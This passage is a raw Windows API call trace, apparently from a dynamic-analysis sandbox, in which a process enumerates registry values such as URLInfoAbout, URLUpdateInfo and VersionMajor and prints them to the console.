RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.109] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.109] GetProcessHeap () returned 0x2e0000 [0147.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.109] GetProcessHeap () returned 0x2e0000 [0147.110] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.110] GetProcessHeap () returned 0x2e0000 [0147.110] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.110] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.110] __iob_func () returned 0x7fefd702a80 [0147.110] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.110] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.110] _fileno (_File=0x7fefd702ab0) returned 1 [0147.110] _errno () returned 0xc4bb0 [0147.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.110] _errno () returned 0xc4bb0 [0147.110] GetFileType (hFile=0x50) returned 0x1 [0147.110] lstrlenW (lpString=" ") returned 4 [0147.110] GetConsoleOutputCP () returned 0x1b5 [0147.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.110] GetConsoleOutputCP () returned 0x1b5 [0147.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.110] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.110] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.110] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.110] __iob_func () returned 0x7fefd702a80 [0147.110] _fileno (_File=0x7fefd702ab0) returned 1 [0147.110] _errno () returned 0xc4bb0 [0147.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.110] _errno () returned 0xc4bb0 [0147.110] GetFileType (hFile=0x50) returned 0x1 [0147.111] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.111] GetConsoleOutputCP () returned 0x1b5 [0147.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.111] GetConsoleOutputCP () returned 0x1b5 [0147.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.111] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.111] __iob_func () returned 0x7fefd702a80 [0147.111] _fileno (_File=0x7fefd702ab0) returned 1 [0147.111] _errno () returned 0xc4bb0 [0147.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.111] _errno () returned 0xc4bb0 [0147.111] GetFileType (hFile=0x50) returned 0x1 [0147.111] lstrlenW (lpString=" ") returned 4 [0147.111] GetConsoleOutputCP () returned 0x1b5 [0147.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.111] GetConsoleOutputCP () returned 0x1b5 [0147.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.112] __iob_func () returned 0x7fefd702a80 [0147.112] _fileno (_File=0x7fefd702ab0) returned 1 [0147.112] _errno () returned 0xc4bb0 [0147.112] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.112] _errno () returned 0xc4bb0 [0147.112] GetFileType (hFile=0x50) returned 0x1 [0147.112] lstrlenW (lpString="REG_SZ") returned 6 [0147.112] GetConsoleOutputCP () returned 0x1b5 [0147.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.112] GetConsoleOutputCP () returned 0x1b5 [0147.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.112] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.112] __iob_func () returned 0x7fefd702a80 [0147.112] _fileno (_File=0x7fefd702ab0) returned 1 [0147.112] _errno () returned 0xc4bb0 [0147.112] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.112] _errno () returned 0xc4bb0 [0147.112] GetFileType (hFile=0x50) returned 0x1 [0147.112] lstrlenW (lpString=" ") returned 4 [0147.112] GetConsoleOutputCP () returned 0x1b5 [0147.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.113] GetConsoleOutputCP () returned 0x1b5 [0147.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.113] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.113] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.113] __iob_func () returned 0x7fefd702a80 [0147.113] _fileno (_File=0x7fefd702ab0) returned 1 [0147.113] _errno () returned 0xc4bb0 [0147.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.113] _errno () returned 0xc4bb0 [0147.113] GetFileType (hFile=0x50) returned 0x1 [0147.113] lstrlenW (lpString="") returned 0 [0147.113] __iob_func () returned 0x7fefd702a80 [0147.113] _fileno (_File=0x7fefd702ab0) returned 1 [0147.113] _errno () returned 0xc4bb0 [0147.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.113] _errno () returned 0xc4bb0 [0147.113] GetFileType (hFile=0x50) returned 0x1 [0147.113] lstrlenW (lpString="\n") returned 1 [0147.113] GetConsoleOutputCP () returned 0x1b5 [0147.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.113] GetConsoleOutputCP () returned 0x1b5 [0147.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.114] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.114] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.114] GetProcessHeap () returned 0x2e0000 [0147.114] GetProcessHeap () returned 0x2e0000 [0147.114] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.114] GetProcessHeap () returned 0x2e0000 [0147.114] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.114] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.114] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.114] GetProcessHeap () returned 0x2e0000 [0147.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.114] GetProcessHeap () returned 0x2e0000 [0147.114] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.114] GetProcessHeap () returned 0x2e0000 [0147.114] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.114] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.114] __iob_func () returned 0x7fefd702a80 [0147.114] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.114] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.114] _fileno (_File=0x7fefd702ab0) returned 1 [0147.114] _errno () returned 0xc4bb0 [0147.114] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.114] _errno () returned 0xc4bb0 [0147.114] GetFileType (hFile=0x50) returned 0x1 [0147.114] lstrlenW (lpString=" ") returned 4 [0147.114] GetConsoleOutputCP () returned 0x1b5 [0147.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.114] GetConsoleOutputCP () returned 0x1b5 [0147.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.115] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.115] __iob_func () returned 0x7fefd702a80 [0147.115] _fileno (_File=0x7fefd702ab0) returned 1 [0147.115] _errno () returned 0xc4bb0 [0147.115] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.115] _errno () returned 0xc4bb0 [0147.115] GetFileType (hFile=0x50) returned 0x1 [0147.115] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.115] GetConsoleOutputCP () returned 0x1b5 [0147.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.115] GetConsoleOutputCP () returned 0x1b5 [0147.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.115] __iob_func () returned 0x7fefd702a80 [0147.115] _fileno (_File=0x7fefd702ab0) returned 1 [0147.115] _errno () returned 0xc4bb0 [0147.115] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.116] _errno () returned 0xc4bb0 [0147.116] GetFileType (hFile=0x50) returned 0x1 [0147.116] lstrlenW (lpString=" ") returned 4 [0147.116] GetConsoleOutputCP () returned 0x1b5 [0147.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.116] GetConsoleOutputCP () returned 0x1b5 [0147.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.116] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.116] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.116] __iob_func () returned 0x7fefd702a80 [0147.116] _fileno (_File=0x7fefd702ab0) returned 1 [0147.116] _errno () returned 0xc4bb0 [0147.116] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.116] _errno () returned 0xc4bb0 [0147.116] GetFileType (hFile=0x50) returned 0x1 [0147.116] lstrlenW (lpString="REG_SZ") returned 6 [0147.116] GetConsoleOutputCP () returned 0x1b5 [0147.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.116] GetConsoleOutputCP () returned 0x1b5 [0147.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.117] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.117] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.117] __iob_func () returned 0x7fefd702a80 [0147.117] _fileno (_File=0x7fefd702ab0) returned 1 [0147.117] _errno () returned 0xc4bb0 [0147.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.117] _errno () returned 0xc4bb0 [0147.117] GetFileType (hFile=0x50) returned 0x1 [0147.117] lstrlenW (lpString=" ") returned 4 [0147.117] GetConsoleOutputCP () returned 0x1b5 [0147.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.117] GetConsoleOutputCP () returned 0x1b5 [0147.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.117] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.117] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.117] __iob_func () returned 0x7fefd702a80 [0147.117] _fileno (_File=0x7fefd702ab0) returned 1 [0147.117] _errno () returned 0xc4bb0 [0147.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.117] _errno () returned 0xc4bb0 [0147.117] GetFileType (hFile=0x50) returned 0x1 [0147.117] lstrlenW (lpString="") returned 0 [0147.117] __iob_func () returned 0x7fefd702a80 [0147.117] _fileno (_File=0x7fefd702ab0) returned 1 [0147.117] _errno () returned 0xc4bb0 [0147.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.118] _errno () returned 0xc4bb0 [0147.118] GetFileType (hFile=0x50) returned 0x1 [0147.118] lstrlenW (lpString="\n") returned 1 [0147.118] GetConsoleOutputCP () returned 0x1b5 [0147.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.118] GetConsoleOutputCP () returned 0x1b5 [0147.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.118] GetProcessHeap () returned 0x2e0000 [0147.118] GetProcessHeap () returned 0x2e0000 [0147.118] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.118] GetProcessHeap () returned 0x2e0000 [0147.118] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.118] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.118] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.118] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.118] GetProcessHeap () returned 0x2e0000 [0147.118] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.118] GetProcessHeap () returned 0x2e0000 [0147.118] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.118] GetProcessHeap () returned 0x2e0000 [0147.118] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.118] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xa, pcbData=0x23f670*=0x4) returned 0x0 [0147.118] __iob_func () returned 0x7fefd702a80 [0147.119] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.119] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.119] _fileno (_File=0x7fefd702ab0) returned 1 [0147.119] _errno () returned 0xc4bb0 [0147.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.119] _errno () returned 0xc4bb0 [0147.119] GetFileType (hFile=0x50) returned 0x1 [0147.119] lstrlenW (lpString=" ") returned 4 [0147.119] GetConsoleOutputCP () returned 0x1b5 [0147.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.119] GetConsoleOutputCP () returned 0x1b5 [0147.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.119] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.119] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.119] lstrlenW (lpString="VersionMajor") returned 12 [0147.119] __iob_func () returned 0x7fefd702a80 [0147.119] _fileno (_File=0x7fefd702ab0) returned 1 [0147.119] _errno () returned 0xc4bb0 [0147.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.119] _errno () returned 0xc4bb0 [0147.119] GetFileType (hFile=0x50) returned 0x1 [0147.119] lstrlenW (lpString="VersionMajor") returned 12 [0147.119] GetConsoleOutputCP () returned 0x1b5 [0147.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.120] GetConsoleOutputCP () returned 0x1b5 [0147.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.120] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.120] __iob_func () returned 0x7fefd702a80 [0147.120] _fileno (_File=0x7fefd702ab0) returned 1 [0147.120] _errno () returned 0xc4bb0 [0147.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.120] _errno () returned 0xc4bb0 [0147.120] GetFileType (hFile=0x50) returned 0x1 [0147.120] lstrlenW (lpString=" ") returned 4 [0147.120] GetConsoleOutputCP () returned 0x1b5 [0147.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.120] GetConsoleOutputCP () returned 0x1b5 [0147.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.120] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.120] __iob_func () returned 0x7fefd702a80 [0147.120] _fileno (_File=0x7fefd702ab0) returned 1 [0147.120] _errno () returned 0xc4bb0 [0147.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.120] _errno () returned 0xc4bb0 [0147.121] GetFileType (hFile=0x50) returned 0x1 [0147.121] lstrlenW (lpString="REG_DWORD") returned 9 [0147.121] GetConsoleOutputCP () returned 0x1b5 [0147.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.121] GetConsoleOutputCP () returned 0x1b5 [0147.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.121] __iob_func () returned 0x7fefd702a80 [0147.121] _fileno (_File=0x7fefd702ab0) returned 1 [0147.121] _errno () returned 0xc4bb0 [0147.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.121] _errno () returned 0xc4bb0 [0147.121] GetFileType (hFile=0x50) returned 0x1 [0147.121] lstrlenW (lpString=" ") returned 4 [0147.121] GetConsoleOutputCP () returned 0x1b5 [0147.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.121] GetConsoleOutputCP () returned 0x1b5 [0147.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.122] __iob_func () returned 0x7fefd702a80 [0147.122] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.122] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xa") returned 3 [0147.122] _fileno (_File=0x7fefd702ab0) returned 1 [0147.122] _errno () returned 0xc4bb0 [0147.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.122] _errno () returned 0xc4bb0 [0147.122] GetFileType (hFile=0x50) returned 0x1 [0147.122] lstrlenW (lpString="0xa") returned 3 [0147.122] GetConsoleOutputCP () returned 0x1b5 [0147.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, 